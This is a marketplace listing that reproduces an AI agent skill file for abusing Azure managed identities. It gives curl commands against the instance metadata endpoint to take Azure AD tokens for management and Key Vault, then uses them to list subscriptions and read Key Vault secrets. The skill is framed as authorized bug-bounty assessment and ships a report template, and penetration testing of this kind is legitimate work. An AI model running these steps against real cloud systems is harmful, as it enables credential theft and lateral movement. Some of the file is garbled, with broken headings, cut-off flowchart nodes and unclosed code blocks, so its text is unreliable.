agentsclimarketplace

Azure managed identity abuse

Skill ShulkwiSEC/bb-huge/skills/curated/azure-managed-identity-abuse

bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill azure-managed-identity-abuse

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Abuse Azure Managed Identities from compromised Azure Virtual Machines (VMs), Functions, or App Services to seamlessly request valid, highly-privileged Azure AD access tokens and laterally move throughout the cloud environment without requiring explicit credentials.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

3.9 KB, 820 tokens by cl100k_base, as published. Nobody here has run it

Azure Managed Identity Abuse

When to Use

  • When To When Workflow

Phase 1: Validating the Environment

# Concept: 1. curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# 2. ```

### Phase 2: Requesting Azure AD Tokens

```bash
# Concept: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true > token.json

# curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true > vault_token.json

# ```

### Phase 3: Abusing the Associated Privileges

```bash
# 1. curl -H "Authorization: Bearer <TOKEN>" https://management.azure.com/subscriptions?api-version=2020-01-01

# 2. CONNECT az CLI az login --identity
az keyvault secret show --name MySecret --vault-name TargetVault

Decision Point 🔀

flowchart TD
    A[Compromise ] --> B[Test ]
    B --> C{Does }
    C -->|Yes| D[Request ]
    C -->|No| E[Check D --> F[Pivot ]

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Output Format

Azure Managed Identity Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

🔵 Blue Team

  • Deploy robust WAF rules to detect anomalies.
  • Monitor logs for unusual access patterns.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 2 files

8.3 KB alongside SKILL.md, 1 of them executable

evals/

scripts/

Keep looking

Skills are one crate of 327,132. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.